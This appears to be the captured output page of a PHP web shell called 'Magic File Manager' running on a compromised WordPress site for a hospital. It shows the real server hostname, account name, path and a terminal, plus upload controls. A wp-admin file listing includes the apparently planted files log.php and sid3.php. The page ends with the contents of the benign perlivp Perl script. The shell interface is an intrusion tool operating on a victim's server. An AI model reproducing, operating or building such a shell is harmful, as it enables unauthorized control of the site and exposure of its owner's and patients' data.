✨ Magic File Manager

🚀 Hostinger Optimized
🖥️ Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
🐘 PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

📁 /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$
📂 /homepnj6a06usxf3public_htmlshivshaktihospital.co.inwp-admin

📁 Create New

⬆️ Upload File

📊 Max upload: 32M | 📦 Max POST: 128M
📄 Name📊 Size🔒 Perm⚡ Actions
📁 css--drwxr-xr-x
📁 images--drwxr-xr-x
📁 includes--drwxr-xr-x
📁 js--drwxr-xr-x
📁 maint--drwxr-xr-x
📁 network--drwxr-xr-x
📁 user--drwxr-xr-x
🐘 about.php17.572 KB-rw-r--r--
🐘 admin-ajax.php5.025 KB-rw-r--r--
🐘 admin-footer.php2.738 KB-rw-r--r--
🐘 admin-functions.php0.461 KB-rw-r--r--
🐘 admin-header.php9.066 KB-rw-r--r--
🐘 admin-post.php1.974 KB-rw-r--r--
🐘 admin.php12.632 KB-rw-r--r--
🐘 async-upload.php5.473 KB-rw-r--r--
🐘 authorize-application.php10.093 KB-rw-r--r--
🐘 comment.php11.37 KB-rw-r--r--
🐘 contribute.php5.523 KB-rw-r--r--
🐘 credits.php4.044 KB-rw-r--r--
🐘 custom-background.php0.471 KB-rw-r--r--
🐘 custom-header.php0.48 KB-rw-r--r--
🐘 customize.php11.314 KB-rw-r--r--
🐘 edit-comments.php14.145 KB-rw-r--r--
🐘 edit-form-advanced.php28.79 KB-rw-r--r--
🐘 edit-form-blocks.php15.164 KB-rw-r--r--
🐘 edit-form-comment.php13.652 KB-rw-r--r--
🐘 edit-link-form.php6.198 KB-rw-r--r--
🐘 edit-tag-form.php10.408 KB-rw-r--r--
🐘 edit-tags.php21.982 KB-rw-r--r--
🐘 edit.php19.484 KB-rw-r--r--
🐘 erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
🐘 export-personal-data.php7.754 KB-rw-r--r--
🐘 export.php11.001 KB-rw-r--r--
🐘 font-library.php1.445 KB-rw-r--r--
🐘 freedoms.php4.467 KB-rw-r--r--
🐘 import.php7.584 KB-rw-r--r--
🐘 index.php7.68 KB-rw-r--r--
🐘 install-helper.php6.798 KB-rw-r--r--
🐘 install.php17.944 KB-rw-r--r--
🐘 link-add.php0.912 KB-rw-r--r--
🐘 link-manager.php4.259 KB-rw-r--r--
🐘 link-parse-opml.php2.657 KB-rw-r--r--
🐘 link.php2.888 KB-rw-r--r--
🐘 load-scripts.php2.021 KB-rw-r--r--
🐘 load-styles.php2.925 KB-rw-r--r--
🐘 log.php63.893 KB-rw-r--r--
🐘 media-new.php3.173 KB-rw-r--r--
🐘 media-upload.php3.582 KB-rw-r--r--
🐘 media.php0.8 KB-rw-r--r--
🐘 menu-header.php9.816 KB-rw-r--r--
🐘 menu.php17.709 KB-rw-r--r--
🐘 moderation.php0.3 KB-rw-r--r--
🐘 ms-admin.php0.191 KB-rw-r--r--
🐘 ms-delete-site.php4.505 KB-rw-r--r--
🐘 ms-edit.php0.211 KB-rw-r--r--
🐘 ms-options.php0.224 KB-rw-r--r--
🐘 ms-sites.php0.21 KB-rw-r--r--
🐘 ms-themes.php0.212 KB-rw-r--r--
🐘 ms-upgrade-network.php0.214 KB-rw-r--r--
🐘 ms-users.php0.21 KB-rw-r--r--
🐘 my-sites.php4.718 KB-rw-r--r--
🐘 nav-menus.php49.022 KB-rw-r--r--
🐘 network.php5.394 KB-rw-r--r--
🐘 options-connectors.php1.507 KB-rw-r--r--
🐘 options-discussion.php16.019 KB-rw-r--r--
🐘 options-general.php22.319 KB-rw-r--r--
🐘 options-head.php0.6 KB-rw-r--r--
🐘 options-media.php6.484 KB-rw-r--r--
🐘 options-permalink.php21.964 KB-rw-r--r--
🐘 options-privacy.php10.453 KB-rw-r--r--
🐘 options-reading.php9.959 KB-rw-r--r--
🐘 options-writing.php9.184 KB-rw-r--r--
🐘 options.php13.932 KB-rw-r--r--
🐘 plugin-editor.php13.741 KB-rw-r--r--
🐘 plugin-install.php7.259 KB-rw-r--r--
🐘 plugins.php30.023 KB-rw-r--r--
🐘 post-new.php2.703 KB-rw-r--r--
🐘 post.php10.567 KB-rw-r--r--
🐘 press-this.php2.412 KB-rw-r--r--
🐘 privacy-policy-guide.php3.668 KB-rw-r--r--
🐘 privacy.php2.453 KB-rw-r--r--
🐘 profile.php0.276 KB-rw-r--r--
🐘 revision.php5.699 KB-rw-r--r--
🐘 setup-config.php17.508 KB-rw-r--r--
🐘 sid3.php55.304 KB-rw-r--r--
🐘 site-editor.php12.19 KB-rw-r--r--
🐘 site-health-info.php4.075 KB-rw-r--r--
🐘 site-health.php10.183 KB-rw-r--r--
🐘 term.php2.196 KB-rw-r--r--
🐘 theme-editor.php16.874 KB-rw-r--r--
🐘 theme-install.php23.745 KB-rw-r--r--
🐘 themes.php48.563 KB-rw-r--r--
🐘 tools.php3.432 KB-rw-r--r--
🐘 update-core.php45.119 KB-rw-r--r--
🐘 update.php12.756 KB-rw-r--r--
🐘 upgrade-functions.php0.333 KB-rw-r--r--
🐘 upgrade.php6.24 KB-rw-r--r--
🐘 upload.php14.934 KB-rw-r--r--
🐘 user-edit.php40.863 KB-rw-r--r--
🐘 user-new.php24.086 KB-rw-r--r--
🐘 users.php25.096 KB-rw-r--r--
🐘 widgets-form-blocks.php5.112 KB-rw-r--r--
🐘 widgets-form.php19.129 KB-rw-r--r--
🐘 widgets.php1.086 KB-rw-r--r--
✨ File Manager Magic · Hostinger Optimized ✨
#!/usr/bin/perl eval 'exec /usr/bin/perl -S $0 ${1+"$@"}' if $running_under_some_shell; # perlivp v5.26.3 BEGIN { pop @INC if $INC[-1] eq '.' } sub usage { warn "@_\n" if @_; print << " EOUSAGE"; Usage: $0 [-p] [-v] | [-h] -p Print a preface before each test telling what it will test. -v Verbose mode in which extra information about test results is printed. Test failures always print out some extra information regardless of whether or not this switch is set. -h Prints this help message. EOUSAGE exit; } use vars qw(%opt); # allow testing with older versions (do not use our) @opt{ qw/? H h P p V v/ } = qw(0 0 0 0 0 0 0); while ($ARGV[0] =~ /^-/) { $ARGV[0] =~ s/^-//; for my $flag (split(//,$ARGV[0])) { usage() if '?' =~ /\Q$flag/; usage() if 'h' =~ /\Q$flag/; usage() if 'H' =~ /\Q$flag/; usage("unknown flag: '$flag'") unless 'HhPpVv' =~ /\Q$flag/; warn "$0: '$flag' flag already set\n" if $opt{$flag}++; } shift; } $opt{p}++ if $opt{P}; $opt{v}++ if $opt{V}; my $pass__total = 0; my $error_total = 0; my $tests_total = 0; my $perlpath = '/usr/bin/perl'; my $useithreads = 'define'; print "## Checking Perl binary via variable '\$perlpath' = $perlpath.\n" if $opt{'p'}; my $label = 'Executable perl binary'; if (-x $perlpath) { print "## Perl binary '$perlpath' appears executable.\n" if $opt{'v'}; print "ok 1 $label\n"; $pass__total++; } else { print "# Perl binary '$perlpath' does not appear executable.\n"; print "not ok 1 $label\n"; $error_total++; } $tests_total++; print "## Checking Perl version via variable '\$]'.\n" if $opt{'p'}; my $ivp_VERSION = "5.026003"; $label = 'Perl version correct'; if ($ivp_VERSION eq $]) { print "## Perl version '$]' appears installed as expected.\n" if $opt{'v'}; print "ok 2 $label\n"; $pass__total++; } else { print "# Perl version '$]' installed, expected $ivp_VERSION.\n"; print "not ok 2 $label\n"; $error_total++; } $tests_total++; # We have the right perl and version, so now reset @INC so we ignore # PERL5LIB and '.' { local $ENV{PERL5LIB}; my $perl_V = qx($perlpath -V); $perl_V =~ s{.*\@INC:\n}{}ms; @INC = grep { length && $_ ne '.' } split ' ', $perl_V; } print "## Checking roots of the Perl library directory tree via variable '\@INC'.\n" if $opt{'p'}; my $INC_total = 0; my $INC_there = 0; foreach (@INC) { next if $_ eq '.'; # skip -d test here if (-d $_) { print "## Perl \@INC directory '$_' exists.\n" if $opt{'v'}; $INC_there++; } else { print "# Perl \@INC directory '$_' does not appear to exist.\n"; } $INC_total++; } $label = '@INC directoreis exist'; if ($INC_total == $INC_there) { print "ok 3 $label\n"; $pass__total++; } else { print "not ok 3 $label\n"; $error_total++; } $tests_total++; print "## Checking installations of modules necessary for ivp.\n" if $opt{'p'}; my $needed_total = 0; my $needed_there = 0; foreach (qw(Config.pm ExtUtils/Installed.pm)) { $@ = undef; $needed_total++; eval "require \"$_\";"; if (!$@) { print "## Module '$_' appears to be installed.\n" if $opt{'v'}; $needed_there++; } else { print "# Needed module '$_' does not appear to be properly installed.\n"; } $@ = undef; } $label = 'Modules needed for rest of perlivp exist'; if ($needed_total == $needed_there) { print "ok 4 $label\n"; $pass__total++; } else { print "not ok 4 $label\n"; $error_total++; } $tests_total++; print "## Checking installations of extensions built with perl.\n" if $opt{'p'}; use Config; my $extensions_total = 0; my $extensions_there = 0; if (defined($Config{'extensions'})) { my @extensions = split(/\s+/,$Config{'extensions'}); foreach (@extensions) { next if ($_ eq ''); if ( $useithreads !~ /define/i ) { next if ($_ eq 'threads'); next if ($_ eq 'threads/shared'); } # that's a distribution name, not a module name next if $_ eq 'IO/Compress'; next if $_ eq 'Devel/DProf'; next if $_ eq 'libnet'; next if $_ eq 'Locale/Codes'; next if $_ eq 'podlators'; next if $_ eq 'perlfaq'; # test modules next if $_ eq 'XS/APItest'; next if $_ eq 'XS/Typemap'; # VMS$ perl -e "eval ""require \""Devel/DProf.pm\"";"" print $@" # \NT> perl -e "eval \"require './Devel/DProf.pm'\"; print $@" # DProf: run perl with -d to use DProf. # Compilation failed in require at (eval 1) line 1. eval " require \"$_.pm\"; "; if (!$@) { print "## Module '$_' appears to be installed.\n" if $opt{'v'}; $extensions_there++; } else { print "# Required module '$_' does not appear to be properly installed.\n"; $@ = undef; } $extensions_total++; } # A silly name for a module (that hopefully won't ever exist). # Note that this test serves more as a check of the validity of the # actual required module tests above. my $unnecessary = 'bLuRfle'; if (!grep(/$unnecessary/, @extensions)) { $@ = undef; eval " require \"$unnecessary.pm\"; "; if ($@) { print "## Unnecessary module '$unnecessary' does not appear to be installed.\n" if $opt{'v'}; } else { print "# Unnecessary module '$unnecessary' appears to be installed.\n"; $extensions_there++; } } $@ = undef; } $label = 'All (and only) expected extensions installed'; if ($extensions_total == $extensions_there) { print "ok 5 $label\n"; $pass__total++; } else { print "not ok 5 $label\n"; $error_total++; } $tests_total++; print "## Checking installations of later additional extensions.\n" if $opt{'p'}; use ExtUtils::Installed; my $installed_total = 0; my $installed_there = 0; my $version_check = 0; my $installed = ExtUtils::Installed -> new(); my @modules = $installed -> modules(); my @missing = (); my $version = undef; for (@modules) { $installed_total++; # Consider it there if it contains one or more files, # and has zero missing files, # and has a defined version $version = undef; $version = $installed -> version($_); if ($version) { print "## $_; $version\n" if $opt{'v'}; $version_check++; } else { print "# $_; NO VERSION\n" if $opt{'v'}; } $version = undef; @missing = (); @missing = $installed -> validate($_); # .bs files are optional @missing = grep { ! /\.bs$/ } @missing; # man files are often compressed @missing = grep { ! ( -s "$_.gz" || -s "$_.bz2" ) } @missing; if ($#missing >= 0) { print "# file",+($#missing == 0) ? '' : 's'," missing from installation:\n"; print '# ',join(' ',@missing),"\n"; } elsif ($#missing == -1) { $installed_there++; } @missing = (); } $label = 'Module files correctly installed'; if (($installed_total == $installed_there) && ($installed_total == $version_check)) { print "ok 6 $label\n"; $pass__total++; } else { print "not ok 6 $label\n"; $error_total++; } $tests_total++; # Final report (rather than feed ousrselves to Test::Harness::runtests() # we simply format some output on our own to keep things simple and # easier to "fix" - at least for now. if ($error_total == 0 && $tests_total) { print "All tests successful.\n"; } elsif ($tests_total==0){ die "FAILED--no tests were run for some reason.\n"; } else { my $rate = 0.0; if ($tests_total > 0) { $rate = sprintf "%.2f", 100.0 * ($pass__total / $tests_total); } printf " %d/%d subtests failed, %.2f%% okay.\n", $error_total, $tests_total, $rate; } =head1 NAME perlivp - Perl Installation Verification Procedure =head1 SYNOPSIS B [B<-p>] [B<-v>] [B<-h>] =head1 DESCRIPTION The B program is set up at Perl source code build time to test the Perl version it was built under. It can be used after running: make install (or your platform's equivalent procedure) to verify that B and its libraries have been installed correctly. A correct installation is verified by output that looks like: ok 1 ok 2 etc. =head1 OPTIONS =over 5 =item B<-h> help Prints out a brief help message. =item B<-p> print preface Gives a description of each test prior to performing it. =item B<-v> verbose Gives more detailed information about each test, after it has been performed. Note that any failed tests ought to print out some extra information whether or not -v is thrown. =back =head1 DIAGNOSTICS =over 4 =item * print "# Perl binary '$perlpath' does not appear executable.\n"; Likely to occur for a perl binary that was not properly installed. Correct by conducting a proper installation. =item * print "# Perl version '$]' installed, expected $ivp_VERSION.\n"; Likely to occur for a perl that was not properly installed. Correct by conducting a proper installation. =item * print "# Perl \@INC directory '$_' does not appear to exist.\n"; Likely to occur for a perl library tree that was not properly installed. Correct by conducting a proper installation. =item * print "# Needed module '$_' does not appear to be properly installed.\n"; One of the two modules that is used by perlivp was not present in the installation. This is a serious error since it adversely affects perlivp's ability to function. You may be able to correct this by performing a proper perl installation. =item * print "# Required module '$_' does not appear to be properly installed.\n"; An attempt to C failed, even though the list of extensions indicated that it should succeed. Correct by conducting a proper installation. =item * print "# Unnecessary module 'bLuRfle' appears to be installed.\n"; This test not coming out ok could indicate that you have in fact installed a bLuRfle.pm module or that the C test may give misleading results with your installation of perl. If yours is the latter case then please let the author know. =item * print "# file",+($#missing == 0) ? '' : 's'," missing from installation:\n"; One or more files turned up missing according to a run of C validate()> over your installation. Correct by conducting a proper installation. =back For further information on how to conduct a proper installation consult the INSTALL file that comes with the perl source and the README file for your platform. =head1 AUTHOR Peter Prymmer =cut